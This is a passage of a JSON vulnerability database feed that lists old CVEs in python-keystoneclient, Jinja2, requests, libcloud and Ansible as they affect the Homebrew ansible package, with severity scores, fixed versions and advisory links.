bypass.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2166"},{"type":"WEB","url":"https://github.com/openstack/python-keystoneclient/commit/eeefb784f24c37d5f56a421e1ccc911cace9385e"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2013-2166"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-2166"},{"type":"WEB","url":"https://bugzilla.suse.com/show_bug.cgi?id=CVE-2013-2166"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-c3xq-cj8f-7829"},{"type":"PACKAGE","url":"https://github.com/openstack/python-keystoneclient"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-keystoneclient/PYSEC-2019-197.yaml"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2013-2166"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2013-August/113944.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2013-0992.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/06/19/5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-2167","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-9vg3-cf92-h2h7","CVE-2013-2167","PYSEC-2019-161"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.3.0","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"Insufficient Verification of Data Authenticity in python-keystoneclient","details":"python-keystoneclient version 0.2.3 to 0.2.5 has middleware memcache signing bypass","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2167"},{"type":"WEB","url":"https://github.com/openstack/python-keystoneclient/commit/eeefb784f24c37d5f56a421e1ccc911cace9385e"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2013-2167"},{"type":"WEB","url":"https://bugs.gentoo.org/show_bug.cgi?id=CVE-2013-2167"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-2167"},{"type":"WEB","url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/85492"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9vg3-cf92-h2h7"},{"type":"PACKAGE","url":"https://github.com/openstack/python-keystoneclient"},{"type":"WEB","url":"https://github.com/openstack/python-keystoneclient/commits/0.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-keystoneclient/PYSEC-2019-161.yaml"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2013-2167"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2013-August/113944.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2013-0992.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/06/19/5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-2233","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-9x6q-5423-w5v9","CVE-2013-2233","PYSEC-2018-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible fails to cache SSH host keys","details":"Ansible before 1.2.1 makes it easier for remote attackers to conduct man-in-the-middle attacks by leveraging failure to cache SSH host keys.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2233"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/857"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=980821"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9x6q-5423-w5v9"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-36.yaml"},{"type":"WEB","url":"https://www.ansible.com/security"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/07/01/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/07/02/6"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-2255","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-qh2x-hpf9-cf2g","CVE-2013-2255","PYSEC-2026-2413","PYSEC-2026-2677","PYSEC-2026-3034","PYSEC-2026-656"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.4.0","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"OpenStack Keystone and other components vulnerable to Improper Certificate Validation","details":"HTTPSConnections in OpenStack Keystone 2013, OpenStack Compute 2013.1, and possibly other OpenStack components, fail to validate server-side SSL certificates.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2255"},{"type":"WEB","url":"https://github.com/openstack/cinder/commit/0f9652d92e175a1f7dc3c2a37ab444b8f189375a"},{"type":"WEB","url":"https://github.com/openstack/keystone/commit/5bd4c2984d329625a2a8442b316fa235dbb88a3d"},{"type":"WEB","url":"https://github.com/openstack/neutron/commit/7255e056092f034daaeb4246a812900645d46911"},{"type":"WEB","url":"https://github.com/openstack/python-keystoneclient/commit/20e166fd8a943ee3f91ba362a47e9c14c7cc5f4c"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2013-2255"},{"type":"WEB","url":"https://bugs.launchpad.net/ossn/+bug/1188189"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-2255"},{"type":"WEB","url":"https://bugzilla.suse.com/show_bug.cgi?id=CVE-2013-2255"},{"type":"WEB","url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/85562"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2013-2255"},{"type":"WEB","url":"https://web.archive.org/web/20200229073508/https://www.securityfocus.com/bid/61118"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-4259","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-fj24-ghp9-39v3","CVE-2013-4259","PYSEC-2013-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"}]},"summary":"Ansible uses a socket with predictable filename in /tmp","details":"`runner/connection_plugins/ssh.py` in Ansible before 1.2.3, when using `ControlPersist`, allows local users to redirect a ssh session via a symlink attack on a socket file with a predictable name in `/tmp/`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-4259"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=998223"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2013-1.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-project/UVDYW0HGcNg"},{"type":"WEB","url":"http://www.ansible.com/security"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-4260","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-pcqv-c46v-2p4v","CVE-2013-4260","PYSEC-2013-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"}]},"summary":"Ansible Arbitrary File Overwrite Vulnerability","details":"`lib/ansible/playbook/__init__.py` in Ansible 1.2.x before 1.2.3, when playbook does not run due to an error, allows local users to overwrite arbitrary files via a symlink attack on a retry file with a predictable name in `/var/tmp/ansible/`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-4260"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d5948d59fc863fcec6efa62fa2791928ffc5a6d1"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=998227"},{"type":"WEB","url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/86898"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2013-2.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-project/UVDYW0HGcNg"},{"type":"WEB","url":"http://www.ansible.com/security"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-6480","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-g892-9h8m-r69r","CVE-2013-6480","PYSEC-2014-97"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.13.3","resource":"apache-libcloud","resource_purl":"pkg:pypi/apache-libcloud@3.9.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"apache-libcloud","subject_version":"3.9.1","key":"pkg:pypi/apache-libcloud@3.9.1","resource":"apache-libcloud"}]},"summary":"Libcloud does not properly scrub data when destroying a DigitalOcean node","details":"Libcloud 0.12.3 through 0.13.2 does not set the `scrub_data parameter` for the destroy DigitalOcean API, which allows local users to obtain sensitive information by leveraging a new VM.","references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-6480"},{"type":"WEB","url":"https://github.com/fog/fog/issues/2525"},{"type":"WEB","url":"https://github.com/apache/libcloud/commit/4449e165a00756dc61430e6ad9520f005b045d29"},{"type":"PACKAGE","url":"https://github.com/apache/libcloud"},{"type":"WEB","url":"https://github.com/apache/libcloud/blob/abba8c1719a8bda6db8efde2d46fd1b423ae4304/CHANGES.rst#compute-48"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/apache-libcloud/PYSEC-2014-97.yaml"},{"type":"WEB","url":"https://issues.apache.org/jira/browse/LIBCLOUD-487"},{"type":"WEB","url":"https://web.archive.org/web/20131230232003/https://digitalocean.com/blog_posts/transparency-regarding-data-security"},{"type":"WEB","url":"https://web.archive.org/web/20140129025443/http://www.securityfocus.com/bid/64617"},{"type":"WEB","url":"https://web.archive.org/web/20201209074449/http://www.securityfocus.com/archive/1/530624/100/0/threaded"},{"type":"WEB","url":"http://libcloud.apache.org/security.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2014-02/msg00015.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-0012","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-fqh9-2qgg-h84h","CVE-2014-0012","PYSEC-2014-82"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.2","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Insecure Temporary File in Jinja2","details":"FileSystemBytecodeCache in Jinja2 prior to version 2.7.2 does not properly create temporary directories, which allows local users to gain privileges by pre-creating a temporary directory with a user's uid. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-1402.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-0012"},{"type":"WEB","url":"https://github.com/mitsuhiko/jinja2/pull/292"},{"type":"WEB","url":"https://github.com/mitsuhiko/jinja2/pull/296"},{"type":"WEB","url":"https://github.com/pallets/jinja2/pull/292"},{"type":"WEB","url":"https://github.com/pallets/jinja2/pull/296"},{"type":"WEB","url":"https://github.com/mitsuhiko/jinja2/commit/acb672b6a179567632e032f547582f30fa2f4aa7"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/acb672b6a179567632e032f547582f30fa2f4aa7"},{"type":"WEB","url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=734747"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1051421"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/jinja2/PYSEC-2014-82.yaml"},{"type":"WEB","url":"http://seclists.org/oss-sec/2014/q1/73"},{"type":"WEB","url":"http://www.gentoo.org/security/en/glsa/glsa-201408-13.xml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-0105","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-gwvq-rgqf-993f","CVE-2014-0105","PYSEC-2014-70"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.7.0","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"python-keystoneclient vulnerable to context confusion in Keystone auth_token middleware","details":"A context confusion vulnerability was identified in Keystone auth_token middleware (shipped in python-keystoneclient) before 0.7.0. By doing repeated requests, with sufficient load on the target system, an authenticated user may in certain situations assume another authenticated user's complete identity and multi-tenant authorizations, potentially resulting in a privilege escalation. Note that it is related to a bad interaction between eventlet and python-memcached that should be avoided if the calling process already monkey-patches \"thread\" to use eventlet. Only keystone middleware setups using auth_token with memcache are vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-0105"},{"type":"WEB","url":"https://bugs.launchpad.net/python-keystoneclient/+bug/1282865"},{"type":"PACKAGE","url":"https://github.com/openstack/python-keystoneclient"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-keystoneclient/PYSEC-2014-70.yaml"},{"type":"WEB","url":"https://review.opendev.org/c/openstack/python-keystoneclient/+/81078"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2014-0382.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2014-0409.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2014/03/27/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-1402","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-8r7q-cvjq-x353","CVE-2014-1402","PYSEC-2014-8"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.2","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Incorrect Privilege Assignment in Jinja2","details":"The default configuration for `bccache.FileSystemBytecodeCache` in Jinja2 before 2.7.2 does not properly create temporary files, which allows local users to gain privileges via a crafted .cache file with a name starting with `__jinja2_` in `/tmp`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-1402"},{"type":"WEB","url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=734747"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1051421"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8r7q-cvjq-x353"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/jinja2/PYSEC-2014-8.yaml"},{"type":"WEB","url":"https://oss.oracle.com/pipermail/el-errata/2014-June/004192.html"},{"type":"WEB","url":"https://web.archive.org/web/20150523060528/http://www.mandriva.com/en/support/security/advisories/advisory/MDVSA-2014:096/?name=MDVSA-2014:096"},{"type":"WEB","url":"http://advisories.mageia.org/MGASA-2014-0028.html"},{"type":"WEB","url":"http://jinja.pocoo.org/docs/changelog"},{"type":"WEB","url":"http://openwall.com/lists/oss-security/2014/01/10/2"},{"type":"WEB","url":"http://openwall.com/lists/oss-security/2014/01/10/3"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2014-0747.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2014-0748.html"},{"type":"WEB","url":"http://www.gentoo.org/security/en/glsa/glsa-201408-13.xml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-1829","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-cfj3-7x9c-4p3h","CVE-2014-1829","PYSEC-2014-13"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.3.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in Requests","details":"Requests (aka python-requests) before 2.3.0 allows remote servers to obtain a netrc password by reading the Authorization header in a redirected request.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-1829"},{"type":"WEB","url":"https://github.com/kennethreitz/requests/issues/1885"},{"type":"WEB","url":"https://github.com/psf/requests/issues/1885"},{"type":"WEB","url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=733108"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-cfj3-7x9c-4p3h"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2014-13.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20150523055216/http://www.mandriva.com/en/support/security/advisories/advisory/MDVSA-2015:133/?name=MDVSA-2015:133"},{"type":"WEB","url":"http://advisories.mageia.org/MGASA-2014-0409.html"},{"type":"WEB","url":"http://www.debian.org/security/2015/dsa-3146"},{"type":"WEB","url":"http://www.mandriva.com/security/advisories?name=MDVSA-2015:133"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-2382-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-1830","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-652x-xj99-gmcc","CVE-2014-1830","PYSEC-2014-14"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.3.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in Requests","details":"Requests (aka python-requests) before 2.3.0 allows remote servers to obtain sensitive information by reading the Proxy-Authorization header in a redirected request.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-1830"},{"type":"WEB","url":"https://github.com/kennethreitz/requests/issues/1885"},{"type":"WEB","url":"https://github.com/psf/requests/issues/1885"},{"type":"WEB","url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=733108"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2014-14.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20150523055216/http://www.mandriva.com/en/support/security/advisories/advisory/MDVSA-2015:133/?name=MDVSA-2015:133"},{"type":"WEB","url":"http://advisories.mageia.org/MGASA-2014-0409.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2016-01/msg00095.html"},{"type":"WEB","url":"http://www.debian.org/security/2015/dsa-3146"},{"type":"WEB","url":"http://www.mandriva.com/security/advisories?name=MDVSA-2015:133"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-2686","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-49m5-2838-q2rv","CVE-2014-2686","PYSEC-2020-198"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"}]},"summary":"Ansible unsafe evaluation of some strings","details":"Ansible prior to 1.5.4 mishandles the evaluation of some strings.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-2686"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/998793fd0ab55705d57527a38cee5e83f535974c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-198.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!searchin/ansible-project/1.5.4/ansible-project/MUQxiKwSQDc/id6aVaawVboJ"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-3146","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-57qw-cc2g-pv5p","CVE-2014-3146","PYSEC-2014-9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.5","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"lxml Cross-site Scripting Via Control Characters","details":"Incomplete blacklist 